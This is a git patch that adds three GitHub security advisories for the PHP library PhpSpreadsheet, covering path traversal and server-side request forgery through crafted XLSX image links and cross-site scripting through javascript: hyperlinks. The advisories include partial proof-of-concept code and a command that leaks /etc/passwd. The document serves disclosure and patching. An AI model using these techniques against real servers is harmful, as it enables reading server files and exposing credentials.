From bfe21cd7bfafd6e1f8146e40801f50660bc59bb3 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Mon, 7 Oct 2024 15:59:10 +0000
Subject: [PATCH] Publish Advisories
GHSA-5gpr-w2p5-6m37
GHSA-r8w8-74ww-j4wh
GHSA-w9xv-qf98-ccq4
---
.../GHSA-5gpr-w2p5-6m37.json | 112 ++++++++++++++++++
.../GHSA-r8w8-74ww-j4wh.json | 111 +++++++++++++++++
.../GHSA-w9xv-qf98-ccq4.json | 112 ++++++++++++++++++
3 files changed, 335 insertions(+)
create mode 100644 advisories/github-reviewed/2024/10/GHSA-5gpr-w2p5-6m37/GHSA-5gpr-w2p5-6m37.json
create mode 100644 advisories/github-reviewed/2024/10/GHSA-r8w8-74ww-j4wh/GHSA-r8w8-74ww-j4wh.json
create mode 100644 advisories/github-reviewed/2024/10/GHSA-w9xv-qf98-ccq4/GHSA-w9xv-qf98-ccq4.json
diff --git a/advisories/github-reviewed/2024/10/GHSA-5gpr-w2p5-6m37/GHSA-5gpr-w2p5-6m37.json b/advisories/github-reviewed/2024/10/GHSA-5gpr-w2p5-6m37/GHSA-5gpr-w2p5-6m37.json
new file mode 100644
index 00000000000..106f7a4b4a2
--- /dev/null
+++ b/advisories/github-reviewed/2024/10/GHSA-5gpr-w2p5-6m37/GHSA-5gpr-w2p5-6m37.json
@@ -0,0 +1,112 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-5gpr-w2p5-6m37",
+ "modified": "2024-10-07T15:57:39Z",
+ "published": "2024-10-07T15:57:38Z",
+ "aliases": [
+ "CVE-2024-45290"
+ ],
+ "summary": "PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file",
+ "details": "### Summary\n\nIt's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted `php://filter` URLs an attacker can leak the contents of any file or URL.\n\nNote that this vulnerability is different from [GHSA-w9xv-qf98-ccq4](https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4), and resides in a different component.\n\n### Details\n\nWhen an XLSX file is opened, the XLSX reader calls `setPath()` with the path provided in the `xl/drawings/_rels/drawing1.xml.rels` file in the XLSX archive:\n\n```php\nif (isset($images[$embedImageKey])) {\n // ...omit irrelevant code...\n} else {\n $linkImageKey = (string) self::getArrayItem(\n $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),\n 'link'\n );\n if (isset($images[$linkImageKey])) {\n $url = str_replace('xl/drawings/', '', $images[$linkImageKey]);\n $objDrawing->setPath($url);\n }\n}\n```\n\n`setPath()` then reads the file in order to determine the file type and dimensions, if the path is a URL:\n\n```php\npublic function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static\n{\n if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {\n // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979\n if (filter_var($path, FILTER_VALIDATE_URL)) {\n $this->path = $path;\n // Implicit that it is a URL, rather store info than running check above on value in other places.\n $this->isUrl = true;\n $imageContents = file_get_contents($path);\n // ... check dimensions etc. ...\n```\n\nIt's important to note here, that `filter_var` considers also `file://` and `php://` URLs valid.\n\nThe attacker can set the path to anything:\n\n```xml\n\n```\n\nThe contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an [error oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle) which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit\n\n### PoC\n\nTarget file:\n\n```php\nopen($file);\n\n$path = \"xl/drawings/_rels/drawing1.xml.rels\";\n$content = $zip->getFromName($path);\n$content = str_replace(\"../media/image1.gif\", $payload, $content);\n$zip->addFromString($path, $content);\n\n$path = \"xl/drawings/drawing1.xml\";\n$content = $zip->getFromName($path);\n$content = str_replace('r:embed=\"rId1\"', 'r:link=\"rId1\"', $content);\n$zip->addFromString($path, $content);\n\n$zip->close();\n\n// The actual target - note that simply opening the file is sufficient for the attack\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader->load(__DIR__ . '/' . $file);\n\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213296/book.xlsx)\n\nServe the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.\n\nDownload the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's `bruteforcer.py` file to change `self.blow_up_inf = self.join(*[self.blow_up_utf32]*15)` to `self.blow_up_inf = self.join(*[self.blow_up_utf32]*20)`. This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with `pip`.\n\nThen run the Python script with:\n```\npython3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd\n```\n\nNote that the attack relies on certain character encodings being supported by the system's `iconv` library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.\n\nHere's the results I got after about a minute of bruteforcing:\n\n\n\n### Impact\n\nAn attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "phpoffice/phpspreadsheet"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "2.2.0"
+ },
+ {
+ "fixed": "2.3.0"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "phpoffice/phpspreadsheet"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "1.29.2"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "phpoffice/phpspreadsheet"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "2.0.0"
+ },
+ {
+ "fixed": "2.1.1"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-5gpr-w2p5-6m37"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-36",
+ "CWE-918"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2024-10-07T15:57:38Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2024/10/GHSA-r8w8-74ww-j4wh/GHSA-r8w8-74ww-j4wh.json b/advisories/github-reviewed/2024/10/GHSA-r8w8-74ww-j4wh/GHSA-r8w8-74ww-j4wh.json
new file mode 100644
index 00000000000..2e44d445638
--- /dev/null
+++ b/advisories/github-reviewed/2024/10/GHSA-r8w8-74ww-j4wh/GHSA-r8w8-74ww-j4wh.json
@@ -0,0 +1,111 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-r8w8-74ww-j4wh",
+ "modified": "2024-10-07T15:58:25Z",
+ "published": "2024-10-07T15:58:25Z",
+ "aliases": [
+ "CVE-2024-45292"
+ ],
+ "summary": "PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via JavaScript hyperlinks",
+ "details": "### Summary\n`\\PhpOffice\\PhpSpreadsheet\\Writer\\Html` does not sanitize \"javascript:\" URLs from hyperlink `href` attributes, resulting in a Cross-Site Scripting vulnerability.\n\n### PoC\n\nExample target script:\n\n```\nload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer->generateHTMLAll());\n```\n\nSave this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15099763/book.xlsx)\n\nOpen index.php in a web browser and click on both links. The first demonstrates the vulnerability in a regular hyperlink and the second in a HYPERLINK() formula.\n",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "phpoffice/phpspreadsheet"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "2.2.0"
+ },
+ {
+ "fixed": "2.3.0"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "phpoffice/phpspreadsheet"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "1.29.2"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "phpoffice/phpspreadsheet"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "2.0.0"
+ },
+ {
+ "fixed": "2.1.1"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r8w8-74ww-j4wh"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/392dd08c5569b623060784e1333454d64df1f03d"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/8b9b378ecdc603234a34aab3b293d2cdc8e9210e"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/f0b70ed1086348904b27772b264e1605ba6c1d6d"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2024-10-07T15:58:25Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2024/10/GHSA-w9xv-qf98-ccq4/GHSA-w9xv-qf98-ccq4.json b/advisories/github-reviewed/2024/10/GHSA-w9xv-qf98-ccq4/GHSA-w9xv-qf98-ccq4.json
new file mode 100644
index 00000000000..6ac555b5733
--- /dev/null
+++ b/advisories/github-reviewed/2024/10/GHSA-w9xv-qf98-ccq4/GHSA-w9xv-qf98-ccq4.json
@@ -0,0 +1,112 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-w9xv-qf98-ccq4",
+ "modified": "2024-10-07T15:58:06Z",
+ "published": "2024-10-07T15:58:06Z",
+ "aliases": [
+ "CVE-2024-45291"
+ ],
+ "summary": "PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled",
+ "details": "### Summary\n\nIt's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n\n```\nor\n```xml\n\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this->embedImages || str_starts_with($imageData, 'zip://')) {\n $picture = @file_get_contents($filename);\n if ($picture !== false) {\n $imageDetails = getimagesize($filename) ?: ['mime' => ''];\n // base64 encode the binary data\n $base64 = base64_encode($picture);\n $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;\n }\n}\n\n$html .= '
getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '\n . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;\" src=\"'\n . $imageData . '\" alt=\"' . $filedesc . '\" />';\n```\n\n### PoC\n\n```php\nload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer->setEmbedImages(true);\n$output = $writer->generateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = '/data:;base64,(?[^\"]+)/i';\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches['data'][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches['data'][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.\n",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "phpoffice/phpspreadsheet"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "2.2.0"
+ },
+ {
+ "fixed": "2.3.0"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "phpoffice/phpspreadsheet"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "1.29.2"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "phpoffice/phpspreadsheet"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "2.0.0"
+ },
+ {
+ "fixed": "2.1.1"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/PHPOffice/PhpSpreadsheet"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-36",
+ "CWE-918"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2024-10-07T15:58:06Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file